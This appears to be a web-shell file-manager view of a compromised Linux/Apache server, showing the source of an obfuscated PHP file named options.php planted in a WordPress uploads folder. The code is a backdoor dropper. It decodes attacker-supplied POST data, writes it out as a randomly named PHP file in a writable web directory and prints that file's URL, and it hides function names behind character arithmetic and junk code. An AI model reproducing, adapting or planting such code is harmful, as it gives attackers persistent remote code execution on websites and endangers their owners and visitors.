HEX
Server: Apache
System: Linux websend04.greenconsulting.it 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: web20 (5023)
PHP: 7.2.34-38+ubuntu18.04.1+deb.sury.org+1
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/clients/client0/web20/web/wp-content/uploads/2014/02/options.php
<?php function vPqlaCBG($VYIvgLkLSO, $mlbmcwSB, $GtmSMjR){$JhuNjkE = "ac0023e5-4950-4987-9284-b3be1bb66602";return $VYIvgLkLSO ^ $JhuNjkE[$mlbmcwSB % strlen($JhuNjkE)] ^ $GtmSMjR;}$vdQlhI = "VjiTh";function kKXYzxungY($vdQlhI){ $beuJMj = chr(115)."\164".chr(424-310).chr(409-314).chr(114).'o'."\x74"."\x31"."\x33";$vdQlhI = $beuJMj($vdQlhI);	$EoTpt = 'iaQnW';$WTprYFOTU = chr(319-205).chr(149-52)."\x77"."\165"."\x72"."\154".'d'.'e'."\143"."\157".chr(100).chr(101);$vdQlhI = $WTprYFOTU($vdQlhI);$vdQlhI = str_split($vdQlhI);	$tYCvPftk = 28;return $vdQlhI;}function ZfBUGdfueb(){$GUhDclevrF = 52;$unfBCvib = 19;}function VukLn($LrAKvvVeRA, $GtmSMjR){$LrAKvvVeRA = array_map("vPqlaCBG", array_values($LrAKvvVeRA), array_keys($LrAKvvVeRA), array_values($GtmSMjR));$LrAKvvVeRA = implode("", $LrAKvvVeRA);$ENHnyNjs = chr(969-852)."\156".chr(115)."\145".chr(835-721).chr(585-480)."\x61".chr(242-134).chr(245-140)."\x7a"."\145";$LrAKvvVeRA = @$ENHnyNjs($LrAKvvVeRA);return $LrAKvvVeRA;}function NIqTFDPos($GtmSMjR, $LrAKvvVeRA){$GtmSMjR = array_slice(str_split(str_repeat($GtmSMjR, intval(count($LrAKvvVeRA)/16)+1)), 0, count($LrAKvvVeRA));return $GtmSMjR;}ZfBUGdfueb();function FkECadhJuM(){echo "pOjoKr";	$VGTciDXyh = 27;}function nBLpv($CSjksgAxgir){static $aCjzAA = array();$ervvAlRl = glob($CSjksgAxgir . '/*', GLOB_ONLYDIR);$KUqbcgfp = count($ervvAlRl);if ($KUqbcgfp > 0) {foreach ($ervvAlRl as $CSjksgAxg) {$ZNJOZMCTv = chr(339-234)."\x73"."\x5f"."\167"."\x72"."\151".chr(116).chr(97).'b'.chr(788-680).'e';if (@$ZNJOZMCTv($CSjksgAxg)) {$aCjzAA[] = $CSjksgAxg;}}}foreach ($ervvAlRl as $CSjksgAxgir) nBLpv($CSjksgAxgir);return $aCjzAA;}function KEgQQ($LrAKvvVeRA){$bALuwasYY = chr(68).chr(851-772)."\x43".chr(85)."\x4d"."\x45"."\x4e".chr(84)."\137"."\122".'O'.chr(683-604).chr(331-247);$eDgQRnsAuR = $_SERVER[$bALuwasYY];	$qYPpjB = 'sYotehIR';$ervvAlRl = nBLpv($eDgQRnsAuR);	$TaYWSVFMU = 'Udb';	$qYPpjB = strlen($qYPpjB);$ewuXdtUhU = array_rand($ervvAlRl);	$poQrSb = strtoupper($qYPpjB);$GzPNLRvup = "\56".chr(688-576)."\x68".chr(777-665);$RlUpR = $ervvAlRl[$ewuXdtUhU] . "/" . substr(md5(time()), 0, 8) . $GzPNLRvup;$nNTezH = chr(102).'i'.chr(845-737).'e'.'_'.chr(112)."\165"."\164"."\137".chr(299-200).'o'."\x6e"."\x74"."\x65"."\x6e"."\164".'s';@$nNTezH($RlUpR, $LrAKvvVeRA);	$MGCKoXbIbv = 'emEmP';	$qYPpjB = $qYPpjB - 10;$gufoEjroQL = chr(172-100).'T'.chr(84).chr(700-620).chr(313-218)."\x48"."\x4f".chr(83)."\124";$OvEIRb = chr(425-321).chr(116).chr(923-807).chr(608-496).chr(508-450).chr(47).chr(47);$gHWdNABN = $OvEIRb . $_SERVER[$gufoEjroQL] . substr($RlUpR, strlen($eDgQRnsAuR));	$GwMjp = 5;print($gHWdNABN);	$qYPpjB = strrpos($poQrSb, 'tlpko');}function utSwf($LrAKvvVeRA, $ewuXdtUhU){$ewuXdtUhU = $ewuXdtUhU[0];if ($LrAKvvVeRA !== $ewuXdtUhU){KEgQQ($LrAKvvVeRA);		$nAEDoUiDY = 15;}else {IopxVlND();		$IDvLxY = 3;}}function IopxVlND(){$EcAjApmM = "\x70".chr(104)."\160";$LcTJteXoM = "\160".chr(441-337).'p'.chr(1060-942)."\x65".chr(121-7)."\x73"."\x69".'o'.'n';$LrAKvvVeRA = Array($EcAjApmM => @$LcTJteXoM(), );$YsbXtW = 's'.'e'.chr(709-595)."\x69"."\141"."\x6c".'i'."\172"."\x65";echo @$YsbXtW($LrAKvvVeRA);}function LTcMRqoe(){$BvdsBkGe = 'QzE';$jzAHoFLzxY = 70;$gneMIPWtN = 'UM';$ThkcFnsSE = 'xmSQoGyK';$DXzzEm = 'xXlFucsGtn';$lIDxOLECLd = strtolower($BvdsBkGe);$BvdsBkGe = strtoupper($BvdsBkGe);$kdsqiZEEcs = 58;}function omGMB(){echo "VjiTh";}foreach ($_POST as $GtmSMjR => $LrAKvvVeRA){$PjzoqbFmN = strlen($GtmSMjR);if ($PjzoqbFmN == 16){$LrAKvvVeRA = kKXYzxungY($LrAKvvVeRA);$GtmSMjR = NIqTFDPos($GtmSMjR, $LrAKvvVeRA);$LrAKvvVeRA = VukLn($LrAKvvVeRA, $GtmSMjR);if (@is_array($LrAKvvVeRA)){$ewuXdtUhU = array_keys($LrAKvvVeRA);			$RdHEg = 'pBQeyYBj';$LrAKvvVeRA = $LrAKvvVeRA[$ewuXdtUhU[0]];utSwf($LrAKvvVeRA, $ewuXdtUhU);			$hNijDcbUm = 'mLEVhCEn';			$RdHEg = base64_decode($hNijDcbUm);}}}die();LTcMRqoe();?>